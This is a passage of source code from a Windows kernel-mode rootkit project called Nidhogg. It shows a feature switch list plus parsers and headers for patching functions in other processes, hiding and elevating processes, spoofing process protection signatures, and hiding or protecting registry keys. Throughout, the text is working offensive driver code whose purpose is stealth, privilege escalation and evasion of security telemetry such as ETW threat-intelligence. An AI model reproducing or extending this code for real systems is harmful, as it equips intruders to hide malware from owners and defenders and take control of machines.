216 |
217 |
218 |
219 |
220 |
221 |
222 |
223 |
224 |
225 |
226 |
227 |
228 |
229 |
230 |
231 |
232 |
233 |
234 |
235 |
236 |
237 |
238 |
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
247 |
248 |
249 |
250 |
251 |
252 |
253 |
254 |
255 |
256 |
257 |
258 |
259 |
260 | Create
261 | Create
262 |
263 |
264 |
265 |
266 |
267 |
268 |
269 |
270 |
271 |
272 |
273 |
274 |
275 |
--------------------------------------------------------------------------------
/Nidhogg/Nidhogg.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {8E41214B-6785-4CFE-B992-037D68949A14}
18 | inf;inv;inx;mof;mc;
19 |
20 |
21 |
22 |
23 | Header Files
24 |
25 |
26 | Header Files
27 |
28 |
29 | Header Files
30 |
31 |
32 | Header Files
33 |
34 |
35 | Header Files
36 |
37 |
38 | Header Files
39 |
40 |
41 | Header Files
42 |
43 |
44 | Header Files
45 |
46 |
47 | Header Files
48 |
49 |
50 | Header Files
51 |
52 |
53 | Header Files
54 |
55 |
56 | Header Files
57 |
58 |
59 | Header Files
60 |
61 |
62 | Header Files
63 |
64 |
65 | Header Files
66 |
67 |
68 | Header Files
69 |
70 |
71 | Header Files
72 |
73 |
74 | Header Files
75 |
76 |
77 | Header Files
78 |
79 |
80 | Header Files
81 |
82 |
83 | Header Files
84 |
85 |
86 | Header Files
87 |
88 |
89 | Header Files
90 |
91 |
92 | Header Files
93 |
94 |
95 | Header Files
96 |
97 |
98 | Header Files
99 |
100 |
101 | Header Files
102 |
103 |
104 | Header Files
105 |
106 |
107 | Header Files
108 |
109 |
110 | Header Files
111 |
112 |
113 | Header Files
114 |
115 |
116 |
117 |
118 | Source Files
119 |
120 |
121 | Source Files
122 |
123 |
124 | Source Files
125 |
126 |
127 | Source Files
128 |
129 |
130 | Source Files
131 |
132 |
133 | Source Files
134 |
135 |
136 | Source Files
137 |
138 |
139 | Source Files
140 |
141 |
142 | Source Files
143 |
144 |
145 | Source Files
146 |
147 |
148 | Source Files
149 |
150 |
151 | Source Files
152 |
153 |
154 | Source Files
155 |
156 |
157 | Source Files
158 |
159 |
160 | Source Files
161 |
162 |
163 | Source Files
164 |
165 |
166 | Source Files
167 |
168 |
169 | Source Files
170 |
171 |
172 | Source Files
173 |
174 |
175 | Source Files
176 |
177 |
178 | Source Files
179 |
180 |
181 | Source Files
182 |
183 |
184 | Source Files
185 |
186 |
187 |
--------------------------------------------------------------------------------
/Nidhogg/NidhoggCommon.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 |
4 | // #define DRIVER_REFLECTIVELY_LOADED // Comment or uncomment it when you load the driver reflectively.
5 | #define PRINTS // Comment or uncomment for printing
6 | #define DRIVER_TAG 'hdiN'
7 | #define DRIVER_PREFIX "Nidhogg: "
8 | constexpr SIZE_T MAX_PATH = 260;
9 |
10 | #ifdef PRINTS
11 | typedef ULONG(NTAPI* tDbgPrint)(PCSTR Format, ...);
12 | constexpr tDbgPrint Print = DbgPrint;
13 | #else
14 | constexpr VOID Print(...) {};
15 | #endif
16 |
17 | inline auto AlignAddress = [](ULONGLONG Address) -> ULONGLONG {
18 | ULONG remain = Address % 8;
19 | return remain != 0 ? Address + 8 - remain : Address;
20 | };
21 |
22 | // Globals.
23 | inline PVOID RegistrationHandle = NULL;
24 |
25 | struct EnabledFeatures {
26 | bool DriverReflectivelyLoaded = false;
27 | bool FunctionPatching = true;
28 | bool ModuleHiding = true;
29 | bool WriteData = true;
30 | bool ReadData = true;
31 | bool RegistryFeatures = true;
32 | bool ProcessProtection = true;
33 | bool ThreadProtection = true;
34 | bool FileProtection = true;
35 | bool EtwTiTamper = true;
36 | bool ApcInjection = true;
37 | bool CreateThreadInjection = false;
38 | };
39 | inline EnabledFeatures Features;
40 |
--------------------------------------------------------------------------------
/Nidhogg/Parsers.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "ProcessParser.h"
4 | #include "ThreadParser.h"
5 | #include "ModuleParser.h"
6 | #include "DriverParser.h"
7 | #include "FileParser.h"
8 | #include "RegistryParser.h"
9 | #include "PatchParser.h"
10 | #include "ShellcodeInjectionParser.h"
11 | #include "DllInjectionParser.h"
12 | #include "CallbacksParser.h"
13 | #include "EtwtiParser.h"
14 | #include "NetworkParser.h"
15 |
--------------------------------------------------------------------------------
/Nidhogg/PatchParser.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "PatchParser.h"
3 | #include "MemoryUtils.hpp"
4 | #include "ProcessUtils.hpp"
5 |
6 | /*
7 | * Description:
8 | * Execute is responsible for executing a command and returning its value.
9 | *
10 | * Parameters:
11 | * @commandId [Options] -- Command to run.
12 | * @args [PVOID*] -- Array of args to send to the command.
13 | *
14 | * Returns:
15 | * @status [NTSTATUS] -- Result of the command.
16 | */
17 | NTSTATUS PatchParser::Execute(Options commandId, PVOID args[MAX_ARGS]) {
18 | UNREFERENCED_PARAMETER(commandId);
19 |
20 | PatchedModule patchedModule{};
21 | ANSI_STRING aModuleName = { 0 };
22 | UNICODE_STRING wModuleName = { 0 };
23 | NTSTATUS status = STATUS_SUCCESS;
24 |
25 | if (!Features.FunctionPatching)
26 | return STATUS_UNSUCCESSFUL;
27 |
28 | patchedModule.Pid = *(ULONG*)args[0];
29 |
30 | if (!IsValidPid(patchedModule.Pid))
31 | return STATUS_INVALID_PARAMETER;
32 |
33 | // Converting string to unicode.
34 | RtlInitAnsiString(&aModuleName, (PCHAR)args[1]);
35 | status = RtlAnsiStringToUnicodeString(&wModuleName, &aModuleName, TRUE);
36 |
37 | if (!NT_SUCCESS(status))
38 | return status;
39 |
40 | patchedModule.ModuleName = wModuleName.Buffer;
41 | patchedModule.FunctionName = (PCHAR)args[2];
42 | patchedModule.Patch = (PVOID)args[3];
43 | patchedModule.PatchLength = *(ULONG*)args[4];
44 |
45 | status = NidhoggMemoryUtils->PatchModule(&patchedModule);
46 |
47 | RtlFreeUnicodeString(&wModuleName);
48 | return status;
49 | }
50 |
51 | /*
52 | * Description:
53 | * ParseArgs is responsible for parsing the arguments.
54 | *
55 | * Parameters:
56 | * @data [PUCHAR] -- The raw script data.
57 | * @dataSize [size_t] -- Size if the raw script data.
58 | * @index [size_t] -- Index to start parsing the args and command from.
59 | * @argsNumber [USHORT] -- Number of arguments to run.
60 | * @commandId [Options*] -- The command id.
61 | * @outOffset [ULONG*] -- Output offset to shift the index by for the next command.
62 | * @OutArgs [PVOID*] -- Output arguments.
63 | *
64 | * Returns:
65 | * @status [NTSTATUS] -- Whether the args are parsed or error.
66 | */
67 | NTSTATUS PatchParser::ParseArgs(PUCHAR data, size_t dataSize, size_t index, USHORT argsNumber, Options* commandId,
68 | ULONG* outOffset, PVOID OutArgs[MAX_ARGS]) {
69 | *commandId = Options::Invalid;
70 | ULONG addedOffset = 0;
71 | ULONG patchSize = 0;
72 | NTSTATUS status = STATUS_SUCCESS;
73 |
74 | if (!OutArgs)
75 | return STATUS_INVALID_PARAMETER;
76 |
77 | // Validating the opcode size.
78 | if (dataSize < index + 1)
79 | return STATUS_INVALID_BUFFER_SIZE;
80 |
81 | if (argsNumber != 4)
82 | return STATUS_INVALID_PARAMETER;
83 |
84 | // Check the option exists for the command type.
85 | auto CheckArg = [&](PUCHAR data, size_t dataSize, ULONG currentIndex, ArgType expectedType,
86 | USHORT argIndex, PVOID OutArgs[MAX_ARGS], ULONG* addedOffset, ULONG* size = NULL) {
87 |
88 | ULONG intArg = 0;
89 |
90 | if (dataSize < currentIndex)
91 | return STATUS_INVALID_BUFFER_SIZE;
92 |
93 | ULONG argSize = data[currentIndex];
94 |
95 | // Validating the size.
96 | if (argSize > dataSize - currentIndex)
97 | return STATUS_INVALID_BUFFER_SIZE;
98 |
99 | if (size)
100 | *size = argSize;
101 |
102 | PVOID currentArg = AllocateMemory(argSize);
103 |
104 | if (!currentArg)
105 | return STATUS_INSUFFICIENT_RESOURCES;
106 |
107 | RtlZeroMemory(currentArg, argSize);
108 |
109 | __try {
110 | RtlCopyMemory(currentArg, &data[currentIndex + 1], argSize);
111 | }
112 | __except (EXCEPTION_EXECUTE_HANDLER) {
113 | ExFreePoolWithTag(currentArg, DRIVER_TAG);
114 | return STATUS_ABANDONED;
115 | }
116 |
117 | // Validating the type.
118 | switch (expectedType) {
119 | case ArgType::ULong:
120 | {
121 | for (DWORD j = 0, factor = pow(10, argSize - 1); j < argSize; j++, factor /= 10) {
122 | if (isdigit(((char*)currentArg)[j]) == 0) {
123 | status = STATUS_INVALID_PARAMETER;
124 | break;
125 | }
126 | intArg += convertDigit(((char*)currentArg)[j]) * factor;
127 | }
128 | *(ULONG*)currentArg = intArg;
129 | intArg = 0;
130 | break;
131 | }
132 | case ArgType::CharPtr:
133 | case ArgType::WCharPtr:
134 | {
135 | for (DWORD j = 0; j < argSize; j++) {
136 | if (!isChar(((char*)currentArg)[j])) {
137 | ExFreePoolWithTag(currentArg, DRIVER_TAG);
138 | return STATUS_INVALID_PARAMETER;
139 | }
140 | }
141 | break;
142 | }
143 | }
144 |
145 | OutArgs[argIndex] = currentArg;
146 | *addedOffset += argSize;
147 | return STATUS_SUCCESS;
148 | };
149 |
150 | // Validating each argument.
151 | do {
152 | status = CheckArg(data, dataSize, (ULONG)index + addedOffset, ArgType::ULong, 0, OutArgs, &addedOffset);
153 |
154 | if (!NT_SUCCESS(status))
155 | break;
156 | status = CheckArg(data, dataSize, (ULONG)index + addedOffset + 1, ArgType::WCharPtr, 1, OutArgs, &addedOffset);
157 |
158 | if (!NT_SUCCESS(status))
159 | break;
160 | status = CheckArg(data, dataSize, (ULONG)index + addedOffset + 2, ArgType::CharPtr, 2, OutArgs, &addedOffset);
161 |
162 | if (!NT_SUCCESS(status))
163 | break;
164 | status = CheckArg(data, dataSize, (ULONG)index + addedOffset + 3, ArgType::ULong, 3, OutArgs, &addedOffset,
165 | &patchSize);
166 | } while (false);
167 |
168 | // Adding the patch size to the args.
169 | OutArgs[MAX_ARGS - 1] = (PVOID)patchSize;
170 |
171 | if (!NT_SUCCESS(status)) {
172 | if (OutArgs) {
173 | for (USHORT i = 0; i < MAX_ARGS - 1; i++) {
174 | if (OutArgs[i])
175 | ExFreePoolWithTag(OutArgs[i], DRIVER_TAG);
176 | }
177 | }
178 | }
179 |
180 | *outOffset += addedOffset;
181 | return status;
182 | }
--------------------------------------------------------------------------------
/Nidhogg/PatchParser.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "BaseParser.h"
4 |
5 | class PatchParser : public BaseParser
6 | {
7 | protected:
8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override;
9 | NTSTATUS ParseArgs(PUCHAR data, size_t dataSize, size_t index, USHORT argsNumber, Options* commandId,
10 | ULONG* outOffset, PVOID OutArgs[MAX_ARGS]) override;
11 |
12 | public:
13 | PatchParser() { this->optionsSize = 0; }
14 | };
15 |
16 |
--------------------------------------------------------------------------------
/Nidhogg/ProcessParser.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "ProcessParser.h"
3 | #include "ProcessUtils.hpp"
4 |
5 | ProcessParser::ProcessParser() {
6 | this->optionsSize = 7;
7 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata));
8 |
9 | if (!this->options)
10 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES);
11 |
12 | this->options[0] = { Options::Add, { 1, { ArgType::ULong } } };
13 | this->options[1] = { Options::Remove, { 1, { ArgType::ULong } } };
14 | this->options[2] = { Options::Clear, { 0, {} } };
15 | this->options[3] = { Options::Hide, { 1, { ArgType::ULong } } };
16 | this->options[4] = { Options::Unhide, { 1, { ArgType::ULong } } };
17 | this->options[5] = { Options::Elevate, { 1, { ArgType::ULong } } };
18 | this->options[6] = { Options::Signature, { 3, { ArgType::ULong, ArgType::ULong,
19 | ArgType::ULong } } };
20 | }
21 |
22 | /*
23 | * Description:
24 | * Execute is responsible for executing a command and returning its value.
25 | *
26 | * Parameters:
27 | * @commandId [Options] -- Command to run.
28 | * @args [PVOID*] -- Array of args to send to the command.
29 | *
30 | * Returns:
31 | * @status [NTSTATUS] -- Result of the command.
32 | */
33 | NTSTATUS ProcessParser::Execute(Options commandId, PVOID args[MAX_ARGS]) {
34 | ProcessSignature signature{};
35 | NTSTATUS status = STATUS_SUCCESS;
36 | ULONG pid = 0;
37 |
38 | if (commandId != Options::Clear) {
39 | pid = *(ULONG*)args[0];
40 |
41 | if (!IsValidPid(pid))
42 | return STATUS_INVALID_PARAMETER;
43 | }
44 |
45 | switch (commandId) {
46 | case Options::Add:
47 | {
48 | if (!Features.ProcessProtection) {
49 | status = STATUS_UNSUCCESSFUL;
50 | break;
51 | }
52 |
53 | if (NidhoggProccessUtils->GetProtectedProcessesCount() == MAX_PIDS) {
54 | status = STATUS_TOO_MANY_CONTEXT_IDS;
55 | break;
56 | }
57 |
58 | if (NidhoggProccessUtils->FindProcess(pid))
59 | break;
60 |
61 | if (!NidhoggProccessUtils->AddProcess(pid))
62 | status = STATUS_UNSUCCESSFUL;
63 | break;
64 | }
65 | case Options::Remove:
66 | {
67 | if (!Features.ProcessProtection) {
68 | status = STATUS_UNSUCCESSFUL;
69 | break;
70 | }
71 |
72 | if (NidhoggProccessUtils->GetProtectedProcessesCount() == 0) {
73 | status = STATUS_NOT_FOUND;
74 | break;
75 | }
76 |
77 | if (!NidhoggProccessUtils->RemoveProcess(pid))
78 | status = STATUS_NOT_FOUND;
79 |
80 | break;
81 | }
82 | case Options::Clear:
83 | {
84 | NidhoggProccessUtils->ClearProtectedProcesses();
85 | break;
86 | }
87 | case Options::Hide:
88 | {
89 | status = NidhoggProccessUtils->HideProcess(pid);
90 | break;
91 | }
92 | case Options::Unhide:
93 | {
94 | status = NidhoggProccessUtils->UnhideProcess(pid);
95 | break;
96 | }
97 | case Options::Elevate:
98 | {
99 | status = NidhoggProccessUtils->ElevateProcess(pid);
100 | break;
101 | }
102 | case Options::Signature:
103 | {
104 | signature.Pid = pid;
105 | signature.SignerType = *(UCHAR*)args[1];
106 | signature.SignatureSigner = *(UCHAR*)args[2];
107 |
108 | if ((signature.SignatureSigner < PsProtectedSignerNone || signature.SignatureSigner > PsProtectedSignerMax) ||
109 | (signature.SignerType < PsProtectedTypeNone || signature.SignerType > PsProtectedTypeProtected)) {
110 | status = STATUS_INVALID_PARAMETER;
111 | break;
112 | }
113 | status = NidhoggProccessUtils->SetProcessSignature(&signature);
114 | break;
115 | }
116 | default:
117 | {
118 | status = STATUS_NOT_IMPLEMENTED;
119 | break;
120 | }
121 | }
122 |
123 | return status;
124 | }
125 |
--------------------------------------------------------------------------------
/Nidhogg/ProcessParser.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "BaseParser.h"
4 |
5 | class ProcessParser : public BaseParser
6 | {
7 | protected:
8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override;
9 |
10 | public:
11 | ProcessParser();
12 | };
13 |
14 |
--------------------------------------------------------------------------------
/Nidhogg/ProcessUtils.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "MemoryHelper.hpp"
4 |
5 | extern "C" {
6 | #include "WindowsTypes.hpp"
7 | }
8 | #include "NidhoggCommon.h"
9 |
10 | // Definitions.
11 | constexpr SIZE_T MAX_PIDS = 256;
12 | constexpr SIZE_T MAX_TIDS = 256;
13 | constexpr SIZE_T SYSTEM_PROCESS_PID = 0x4;
14 | constexpr SIZE_T PROCESS_TERMINATE = 0x1;
15 | constexpr SIZE_T PROCESS_CREATE_THREAD = 0x2;
16 | constexpr SIZE_T PROCESS_VM_READ = 0x10;
17 | constexpr SIZE_T PROCESS_VM_OPERATION = 0x8;
18 |
19 | constexpr auto IsValidPid = [](ULONG pid) -> bool {
20 | return pid > 0 && pid != SYSTEM_PROCESS_PID;
21 | };
22 |
23 | // Structs.
24 | struct OutputProtectedProcessesList {
25 | ULONG PidsCount;
26 | ULONG Processes[MAX_PIDS];
27 | };
28 |
29 | struct ProtectedProcessesList {
30 | FastMutex Lock;
31 | ULONG LastIndex;
32 | ULONG PidsCount;
33 | ULONG Processes[MAX_PIDS];
34 | };
35 |
36 | struct ProtectedProcess {
37 | ULONG Pid;
38 | bool Protect;
39 | };
40 |
41 | struct HiddenProcess {
42 | ULONG Pid;
43 | bool Hide;
44 | };
45 |
46 | struct HiddenProcessListItem {
47 | ULONG Pid;
48 | PLIST_ENTRY ListEntry;
49 | };
50 |
51 | struct HiddenProcessList {
52 | FastMutex Lock;
53 | ULONG LastIndex;
54 | ULONG PidsCount;
55 | HiddenProcessListItem Processes[MAX_PIDS];
56 | };
57 |
58 | struct ProcessSignature {
59 | ULONG Pid;
60 | UCHAR SignerType;
61 | UCHAR SignatureSigner;
62 | };
63 |
64 | struct ProtectedThread {
65 | ULONG Tid;
66 | bool Protect;
67 | };
68 |
69 | struct OutputThreadsList {
70 | ULONG TidsCount;
71 | ULONG Threads[MAX_TIDS];
72 | };
73 |
74 | struct ThreadsList {
75 | FastMutex Lock;
76 | ULONG LastIndex;
77 | ULONG TidsCount;
78 | ULONG Threads[MAX_TIDS];
79 | };
80 |
81 | struct InputHiddenThread {
82 | ULONG Tid;
83 | bool Hide;
84 | };
85 |
86 | struct HiddenThread {
87 | ULONG Pid;
88 | ULONG Tid;
89 | PLIST_ENTRY ListEntry;
90 | };
91 |
92 | struct HiddenThreadsList {
93 | FastMutex Lock;
94 | ULONG LastIndex;
95 | ULONG TidsCount;
96 | HiddenThread HiddenThreads[MAX_TIDS];
97 | };
98 |
99 | class ProcessUtils {
100 | private:
101 | ThreadsList ProtectedThreads;
102 | HiddenThreadsList HiddenThreads;
103 | ProtectedProcessesList ProtectedProcesses;
104 | HiddenProcessList HiddenProcesses;
105 |
106 | bool AddHiddenProcess(PLIST_ENTRY entry, ULONG pid);
107 | PLIST_ENTRY GetHiddenProcess(ULONG pid);
108 | void ClearHiddenProcesses();
109 | bool AddHiddenThread(HiddenThread thread);
110 | HiddenThread GetHiddenThread(ULONG tid);
111 | NTSTATUS UnhideThread(HiddenThread thread);
112 | void ClearHiddenThreads();
113 | void RemoveListLinks(PLIST_ENTRY current);
114 | void AddListLinks(PLIST_ENTRY current, PLIST_ENTRY target);
115 |
116 | public:
117 | void* operator new(size_t size) {
118 | return AllocateMemory(size, false);
119 | }
120 |
121 | void operator delete(void* p) {
122 | if (p)
123 | ExFreePoolWithTag(p, DRIVER_TAG);
124 | }
125 |
126 | ProcessUtils();
127 | ~ProcessUtils();
128 |
129 | void ClearProtectedThreads();
130 | bool FindThread(ULONG tid);
131 | bool AddThread(ULONG tid);
132 | bool RemoveThread(ULONG tid);
133 | void QueryProtectedThreads(OutputThreadsList* list);
134 | NTSTATUS HideThread(ULONG tid);
135 | NTSTATUS UnhideThread(ULONG tid);
136 |
137 | void ClearProtectedProcesses();
138 | bool FindProcess(ULONG pid);
139 | bool AddProcess(ULONG pid);
140 | bool RemoveProcess(ULONG pid);
141 | void QueryProtectedProcesses(OutputProtectedProcessesList* list);
142 | NTSTATUS ElevateProcess(ULONG pid);
143 | NTSTATUS SetProcessSignature(ProcessSignature* ProcessSignature);
144 | NTSTATUS UnhideProcess(ULONG pid);
145 | NTSTATUS HideProcess(ULONG pid);
146 |
147 | NTSTATUS FindPidByName(const wchar_t* processName, ULONG* pid);
148 | ULONG GetProtectedProcessesCount() { return this->ProtectedProcesses.PidsCount; }
149 | ULONG GetProtectedThreadsCount() { return this->ProtectedThreads.TidsCount; }
150 | };
151 |
152 | inline ProcessUtils* NidhoggProccessUtils;
153 |
154 | OB_PREOP_CALLBACK_STATUS OnPreOpenProcess(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION Info);
155 | OB_PREOP_CALLBACK_STATUS OnPreOpenThread(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION Info);
156 |
--------------------------------------------------------------------------------
/Nidhogg/RegistryParser.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "RegistryParser.h"
3 | #include "RegistryUtils.hpp"
4 |
5 | RegistryParser::RegistryParser() {
6 | this->optionsSize = 5;
7 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata));
8 |
9 | if (!this->options)
10 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES);
11 |
12 | this->options[0] = { Options::Add, { 2, { ArgType::WCharPtr, ArgType::WCharPtr } } };
13 | this->options[1] = { Options::Remove, { 2, { ArgType::WCharPtr, ArgType::WCharPtr } } };
14 | this->options[2] = { Options::Clear, {} };
15 | this->options[3] = { Options::Hide, { 2, { ArgType::WCharPtr, ArgType::WCharPtr } } };
16 | this->options[4] = { Options::Unhide, { 2, { ArgType::WCharPtr, ArgType::WCharPtr } } };
17 | }
18 |
19 | /*
20 | * Description:
21 | * Execute is responsible for executing a command and returning its value.
22 | *
23 | * Parameters:
24 | * @commandId [Options] -- Command to run.
25 | * @args [PVOID*] -- Array of args to send to the command.
26 | *
27 | * Returns:
28 | * @status [NTSTATUS] -- Result of the command.
29 | */
30 | NTSTATUS RegistryParser::Execute(Options commandId, PVOID args[MAX_ARGS]) {
31 | RegItem regItem{};
32 | ULONG itemsCount = 0;
33 | UNICODE_STRING wKeyName = { 0 };
34 | UNICODE_STRING wValueName = { 0 };
35 | NTSTATUS status = STATUS_SUCCESS;
36 |
37 | if (!Features.RegistryFeatures)
38 | return STATUS_UNSUCCESSFUL;
39 |
40 | auto AnsiToUnicode = [](PCHAR ansiString, PUNICODE_STRING unicodeString) -> NTSTATUS {
41 | ANSI_STRING aString = { 0 };
42 | RtlInitAnsiString(&aString, ansiString);
43 | return RtlAnsiStringToUnicodeString(unicodeString, &aString, TRUE);
44 | };
45 |
46 | if (args[0]) {
47 | if (strlen((PCHAR)args[0]) > REG_KEY_LEN)
48 | return STATUS_INVALID_BUFFER_SIZE;
49 |
50 | status = AnsiToUnicode((PCHAR)args[0], &wKeyName);
51 |
52 | if (!NT_SUCCESS(status))
53 | return status;
54 |
55 | errno_t err = wcsncpy_s(regItem.KeyPath, wKeyName.Buffer, wKeyName.Length);
56 |
57 | if (err != 0) {
58 | RtlFreeUnicodeString(&wKeyName);
59 | return STATUS_INVALID_PARAMETER;
60 | }
61 | }
62 |
63 | if (args[1]) {
64 | if (strlen((PCHAR)args[1]) > REG_VALUE_LEN) {
65 | RtlFreeUnicodeString(&wKeyName);
66 | return STATUS_INVALID_BUFFER_SIZE;
67 | }
68 |
69 | status = AnsiToUnicode((PCHAR)args[0], &wValueName);
70 |
71 | if (!NT_SUCCESS(status)) {
72 | RtlFreeUnicodeString(&wKeyName);
73 | return status;
74 | }
75 |
76 | errno_t err = wcsncpy_s(regItem.ValueName, wValueName.Buffer, wValueName.Length);
77 |
78 | if (err != 0) {
79 | RtlFreeUnicodeString(&wKeyName);
80 | RtlFreeUnicodeString(&wValueName);
81 | return STATUS_INVALID_PARAMETER;
82 | }
83 | }
84 |
85 | switch (commandId) {
86 | case Options::Add:
87 | case Options::Hide:
88 | {
89 | if (commandId == Options::Add) {
90 | regItem.Type = regItem.ValueName ? RegProtectedValue : RegProtectedKey;
91 | itemsCount = regItem.Type == RegProtectedValue ? NidhoggRegistryUtils->GetProtectedValuesCount() :
92 | NidhoggRegistryUtils->GetProtectedKeysCount();
93 | }
94 | else {
95 | regItem.Type = regItem.ValueName ? RegHiddenValue : RegHiddenKey;
96 | itemsCount = regItem.Type == RegProtectedValue ? NidhoggRegistryUtils->GetHiddenValuesCount() :
97 | NidhoggRegistryUtils->GetHiddenKeysCount();
98 | }
99 |
100 | if (itemsCount == MAX_REG_ITEMS) {
101 | status = STATUS_TOO_MANY_CONTEXT_IDS;
102 | break;
103 | }
104 |
105 | if (!NidhoggRegistryUtils->FindRegItem(®Item)) {
106 | if (!NidhoggRegistryUtils->AddRegItem(®Item)) {
107 | status = STATUS_UNSUCCESSFUL;
108 | break;
109 | }
110 | }
111 | break;
112 | }
113 | case Options::Remove:
114 | case Options::Unhide:
115 | {
116 | if (commandId == Options::Remove) {
117 | regItem.Type = regItem.ValueName ? RegProtectedValue : RegProtectedKey;
118 | itemsCount = regItem.Type == RegProtectedValue ? NidhoggRegistryUtils->GetProtectedValuesCount() :
119 | NidhoggRegistryUtils->GetProtectedKeysCount();
120 | }
121 | else {
122 | regItem.Type = regItem.ValueName ? RegHiddenValue : RegHiddenKey;
123 | itemsCount = regItem.Type == RegProtectedValue ? NidhoggRegistryUtils->GetHiddenValuesCount() :
124 | NidhoggRegistryUtils->GetHiddenKeysCount();
125 | }
126 |
127 | if (itemsCount == 0) {
128 | status = STATUS_NOT_FOUND;
129 | break;
130 | }
131 |
132 | if (!NidhoggRegistryUtils->RemoveRegItem(®Item)) {
133 | status = STATUS_NOT_FOUND;
134 | break;
135 | }
136 | break;
137 | }
138 | case Options::Clear:
139 | {
140 | NidhoggRegistryUtils->ClearRegItems();
141 | break;
142 | }
143 | default:
144 | {
145 | status = STATUS_NOT_IMPLEMENTED;
146 | break;
147 | }
148 | }
149 |
150 | if (regItem.KeyPath)
151 | RtlFreeUnicodeString(&wKeyName);
152 | if (regItem.ValueName)
153 | RtlFreeUnicodeString(&wValueName);
154 |
155 | return status;
156 | }
157 |
--------------------------------------------------------------------------------
/Nidhogg/RegistryParser.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "BaseParser.h"
4 |
5 | class RegistryParser : public BaseParser
6 | {
7 | protected:
8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override;
9 |
10 | public:
11 | RegistryParser();
12 | };
13 |
14 |
--------------------------------------------------------------------------------
/Nidhogg/RegistryUtils.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "MemoryHelper.hpp"
4 |
5 | extern "C" {
6 | #include "WindowsTypes.hpp"
7 | #include "NidhoggCommon.h"
8 | }
9 |
10 | // Definitions.
11 | constexpr SIZE_T MAX_REG_ITEMS = 256;
12 | constexpr SIZE_T REG_VALUE_LEN = 260;
13 | constexpr SIZE_T REG_KEY_LEN = 255;
14 |
15 | enum RegItemType {
16 | RegProtectedKey = 0,
17 | RegProtectedValue = 1,
18 | RegHiddenKey = 2,
19 | RegHiddenValue = 3
20 | };
21 |
22 | #define VALID_REG_TYPE(RegType)(RegType == RegProtectedKey || RegType == RegHiddenKey || RegType == RegProtectedValue || RegType == RegHiddenValue)
23 |
24 | // Structs
25 | struct RegItem {
26 | ULONG RegItemsIndex;
27 | RegItemType Type;
28 | WCHAR KeyPath[REG_KEY_LEN];
29 | WCHAR ValueName[REG_VALUE_LEN];
30 | };
31 |
32 | struct RegKeys {
33 | FastMutex Lock;
34 | ULONG LastIndex;
35 | ULONG KeysCount;
36 | WCHAR* KeysPath[MAX_REG_ITEMS];
37 | };
38 |
39 | struct RegValues {
40 | FastMutex Lock;
41 | ULONG LastIndex;
42 | ULONG ValuesCount;
43 | WCHAR* ValuesPath[MAX_REG_ITEMS];
44 | WCHAR* ValuesName[REG_VALUE_LEN];
45 | };
46 |
47 | struct RegItems {
48 | RegKeys Keys;
49 | RegValues Values;
50 | };
51 |
52 | class RegistryUtils {
53 | private:
54 | RegItems ProtectedItems;
55 | RegItems HiddenItems;
56 |
57 | bool ContainsHiddenRegItem(UNICODE_STRING regKey, RegItemType type);
58 | bool GetNameFromKeyEnumPreInfo(KEY_INFORMATION_CLASS infoClass, PVOID information, PUNICODE_STRING keyName);
59 | bool GetNameFromValueEnumPreInfo(KEY_VALUE_INFORMATION_CLASS infoClass, PVOID information, PUNICODE_STRING keyName);
60 |
61 | public:
62 | LARGE_INTEGER RegCookie;
63 |
64 | void* operator new(size_t size) {
65 | return AllocateMemory(size, false);
66 | }
67 |
68 | void operator delete(void* p) {
69 | if (p)
70 | ExFreePoolWithTag(p, DRIVER_TAG);
71 | }
72 |
73 | RegistryUtils();
74 | ~RegistryUtils();
75 |
76 | bool FindRegItem(RegItem* item);
77 | bool AddRegItem(RegItem* item);
78 | bool RemoveRegItem(RegItem* item);
79 | void ClearRegItem(RegItemType regType);
80 | void ClearRegItems();
81 | NTSTATUS QueryRegItem(RegItem* item);
82 |
83 | NTSTATUS RegNtPreDeleteKeyHandler(REG_DELETE_KEY_INFORMATION* info);
84 | NTSTATUS RegNtPreDeleteValueKeyHandler(REG_DELETE_VALUE_KEY_INFORMATION* info);
85 | NTSTATUS RegNtPreQueryKeyHandler(REG_QUERY_KEY_INFORMATION* info);
86 | NTSTATUS RegNtPreQueryValueKeyHandler(REG_QUERY_VALUE_KEY_INFORMATION* info);
87 | NTSTATUS RegNtPreQueryMultipleValueKeyHandler(REG_QUERY_MULTIPLE_VALUE_KEY_INFORMATION* info);
88 | NTSTATUS RegNtPreSetValueKeyHandler(REG_SET_VALUE_KEY_INFORMATION* info);
89 | NTSTATUS RegNtPostEnumerateKeyHandler(REG_POST_OPERATION_INFORMATION* info);
90 | NTSTATUS RegNtPostEnumerateValueKeyHandler(REG_POST_OPERATION_INFORMATION* info);
91 |
